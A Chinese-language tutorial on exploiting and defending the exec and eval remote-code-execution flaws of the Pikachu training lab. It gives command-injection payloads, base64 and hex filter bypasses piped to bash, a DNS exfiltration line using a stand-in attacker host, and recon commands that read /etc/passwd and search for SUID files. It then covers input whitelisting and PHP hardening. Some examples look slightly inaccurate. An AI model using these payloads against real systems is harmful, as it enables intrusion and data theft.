☰
Kali Linux下Pikachu靶场RCE漏洞实战与防御
2026/10/29 18:29:50 网站建设 项目流程

1. 项目概述

Pikachu靶场是一个专门用于网络安全学习的漏洞测试平台,其中RCE(远程代码执行)漏洞是最危险也最具实战价值的漏洞类型之一。今天我要分享的是如何在Kali Linux环境下复现和利用Pikachu靶场中的exec和eval类RCE漏洞。

作为一名长期从事渗透测试的安全工程师,我发现很多新手在学习RCE漏洞时最大的困惑不是如何利用,而是不理解背后的原理和防护方法。这篇文章将从实战角度出发,带你深入理解这两种PHP代码执行漏洞的本质区别、利用手法和防御方案。

2. 环境准备与靶场搭建

2.1 Kali Linux基础配置

首先确保你的Kali是最新版本:

sudo apt update && sudo apt upgrade -y

安装必要的PHP环境:

sudo apt install apache2 php libapache2-mod-php -y

注意:Kali默认已安装Apache和PHP,但建议检查PHP版本是否为7.x以上,老版本可能存在兼容性问题。

2.2 Pikachu靶场部署

下载最新版Pikachu:

wget https://github.com/zhuifengshaonianhanlu/pikachu/archive/master.zip unzip master.zip sudo mv pikachu-master /var/www/html/pikachu

配置数据库:

sudo mysql -u root -p CREATE DATABASE pikachu; GRANT ALL ON pikachu.* TO 'pikachu'@'localhost' IDENTIFIED BY 'pikachu'; FLUSH PRIVILEGES;

修改配置文件:

// /var/www/html/pikachu/inc/config.inc.php $dbuser='pikachu'; $dbpass='pikachu';

3. RCE漏洞原理深度解析

3.1 exec类漏洞

在Pikachu的"RCE->exec"关卡中,关键代码如下:

$ip = $_GET['ip']; system("ping ".$ip);

漏洞成因:

  1. 直接拼接用户输入的$ip参数到系统命令中
  2. 未做任何过滤和转义
  3. 使用危险的system()函数执行命令

利用方式:

http://localhost/pikachu/vul/rce/exec.php?ip=127.0.0.1;whoami

3.2 eval类漏洞

"RCE->eval"关卡的典型代码:

$code = $_GET['code']; eval($code);

危险点分析:

  1. eval()直接执行字符串形式的PHP代码
  2. 用户可注入任意PHP代码
  3. 常用于webshell上传

典型攻击payload:

http://localhost/pikachu/vul/rce/eval.php?code=phpinfo();

4. 高级利用技巧

4.1 命令分隔技巧

在exec漏洞中,常用的分隔符:

  • ;- 顺序执行多条命令
  • &&- 前一条成功才执行后一条
  • ||- 前一条失败才执行后一条
  • |- 管道符
  • >- 输出重定向

示例:

ip=127.0.0.1;cat /etc/passwd ip=127.0.0.1 && whoami

4.2 编码绕过技术

当存在基础过滤时,可以尝试:

  • Base64编码:
    echo "whoami" | base64 ip=127.0.0.1;echo "d2hvYW1p" | base64 -d | bash
  • Hex编码:
    echo "whoami" | xxd -ps ip=127.0.0.1;printf "77686f616d69" | xxd -ps -r | bash

5. 漏洞防御方案

5.1 exec类防护

  1. 使用白名单校验:
if(!preg_match('/^[0-9.]+$/', $_GET['ip'])){ die('Invalid IP'); }
  1. 使用安全函数:
escapeshellarg($_GET['ip']);

5.2 eval类防护

  1. 绝对避免使用eval
  2. 必须使用时进行严格过滤:
$allowed = ['date','time']; if(!in_array($_GET['func'], $allowed)){ die('Forbidden'); } eval($_GET['func'].'();');

6. 实战案例与排错

6.1 常见问题排查

问题1:命令执行无回显 解决方案:

  • 使用延时判断:ip=127.0.0.1;sleep 5
  • 外带数据到DNS:ip=127.0.0.1;nslookup $(whoami).attacker.com

问题2:特殊字符被过滤 解决方案:

  • 使用变量拼接:a=who;b=ami;$a$b
  • 使用反引号:ip=127.0.0.1;cat /etc/passwd

6.2 渗透测试技巧

  1. 信息收集:
ip=127.0.0.1;uname -a;cat /etc/issue;id
  1. 权限提升检查:
ip=127.0.0.1;find / -perm -4000 2>/dev/null
  1. 内网探测:
ip=127.0.0.1;arp -a;ifconfig

7. 防御加固建议

  1. PHP.ini安全配置:
disable_functions = exec,system,passthru,shell_exec allow_url_fopen = Off allow_url_include = Off
  1. Web服务器权限:
sudo chown -R www-data:www-data /var/www/html sudo chmod -R 750 /var/www/html
  1. 使用Suhosin扩展:
sudo apt install php-suhosin

在实际渗透测试工作中,理解漏洞原理比掌握利用工具更重要。建议读者在Pikachu靶场中多尝试不同的payload组合,观察系统反应,这对培养安全思维很有帮助。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询